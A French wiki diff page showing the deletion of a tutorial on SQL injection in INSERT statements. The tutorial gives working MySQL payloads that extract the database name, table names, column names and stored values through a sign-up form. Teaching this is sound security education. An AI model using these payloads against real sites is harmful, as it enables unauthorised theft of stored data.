Ci-dessous, les différences entre deux révisions de la page.
web:injection_sql_-_insert [2016/02/10 11:46] arkinar créée |
web:injection_sql_-_insert [2016/07/04 08:38] |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
- | **Injection SQL Insert** | ||
- | |||
- | Un nouveau mode d'injection sql est apparut avec la création de formulaire d'inscription. | ||
- | Le but de l'insert est d'insérer comme son nom l'indique des valeurs dans une bdd. | ||
- | |||
- | Pour mysql la requete est la suivante : | ||
- | |||
- | INSERT INTO table_name VALUES ('nom','prenom','email','age'); | ||
- | |||
- | Si les champs ne sont pas traités avant d'être envoyés en base de donnée nous pourrons les exploiter. | ||
- | |||
- | Cet insert sera matérialisé par un formulaire simple avec quatre champs : | ||
- | |||
- | Nom = | ||
- | |||
- | Prenom = | ||
- | |||
- | Email = | ||
- | |||
- | Age = | ||
- | |||
- | **Exploitation** | ||
- | |||
- | __Première méthode__ | ||
- | |||
- | 1.Insérer des valeurs inatendu dans le formulaire | ||
- | |||
- | Notre requête | ||
- | <code> | ||
- | nom=dupond','jean','jean@dupond.fr','30')# | ||
- | </code> | ||
- | Cela aura pour effet de créer un utilisateur | ||
- | dupond jean jean@dupond.fr 30 | ||
- | |||
- | Maintenant passons aux choses sérieuses. | ||
- | |||
- | 2.Afficher le nom de la base de donnée | ||
- | |||
- | Notre requête : | ||
- | <code> | ||
- | nom=dupond',(database()),'jean@dupond.fr','30')# | ||
- | </code> | ||
- | Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom de la base de donnée à la place de notre prénom. | ||
- | |||
- | 3.Afficher le nom des tables | ||
- | |||
- | Notre requête : | ||
- | <code> | ||
- | nom=dupond',(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema != 'mysql' and table_schema !='information_schema'),'jean@dupond.fr','30')# | ||
- | |||
- | </code> | ||
- | |||
- | Group_concat permet d'afficher plusieurs valeurs dans un même champs. | ||
- | |||
- | Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom des tables à la place de notre prénom. | ||
- | |||
- | 4.Afficher le nom des colonnes d'une table | ||
- | |||
- | Notre requête : | ||
- | <code> | ||
- | nom=dupond',(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='ma_table'),'jean@dupond.fr','30')# | ||
- | </code> | ||
- | |||
- | Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom des colonnes de la table choisit à la place de notre prénom. | ||
- | |||
- | 5. Afficher une valeur d'une table | ||
- | |||
- | Notre requête : | ||
- | |||
- | <code> | ||
- | nom=dupond',(SELECT group_concat(ma_colonne) FROM ma_table),'jean@dupond.fr','30')# | ||
- | </code> | ||
- | |||
- | Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons les valeurs des colonnes de la table choisit à la place de notre prénom. | ||
- | |||
- | |||
- | |||
- | __Seconde méthode__ | ||
- | |||
- | 1.Insérer des valeurs à la suite de la première requete. | ||
- | |||
- | Le contenu de notre requête | ||
- | <code> | ||
- | nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best','hacker','best@hacker.fr',20)# | ||
- | </code> | ||
- | Cela aura pour effet de créer deux utilisateurs : | ||
- | dupond jean jean@dupond.fr 30 | ||
- | best hacker best@hacker.fr 20 | ||
- | |||
- | |||
- | 2.Afficher le nom de la base de donnée | ||
- | |||
- | Notre requête : | ||
- | <code> | ||
- | nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best',(database()),'best@hacker.fr',20)# | ||
- | </code> | ||
- | Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom de la base de donnée à la place de notre prénom. | ||
- | |||
- | 3.Afficher le nom des tables | ||
- | |||
- | Notre requête : | ||
- | <code> | ||
- | nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best',(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema != 'mysql' and table_schema !='information_schema'),'best@hacker.fr',20)# | ||
- | |||
- | </code> | ||
- | |||
- | Group_concat permet d'afficher plusieurs valeurs dans un même champs. | ||
- | |||
- | Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom des tables à la place de notre prénom. | ||
- | |||
- | 4.Afficher le nom des colonnes d'une table | ||
- | |||
- | Notre requête : | ||
- | <code> | ||
- | nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best',(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='ma_table'),'best@hacker.fr','20')# | ||
- | </code> | ||
- | |||
- | Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom des colonnes de la table choisit à la place de notre prénom. | ||
- | |||
- | 5. Afficher une valeur d'une table | ||
- | |||
- | Notre requête : | ||
- | |||
- | <code> | ||
- | nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best',(SELECT group_concat(ma_colonne) FROM ma_table),'best@hacker.fr','20')# | ||
- | </code> | ||
- | |||
- | Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons les valeurs des colonnes de la table choisit à la place de notre prénom. | ||
- | |||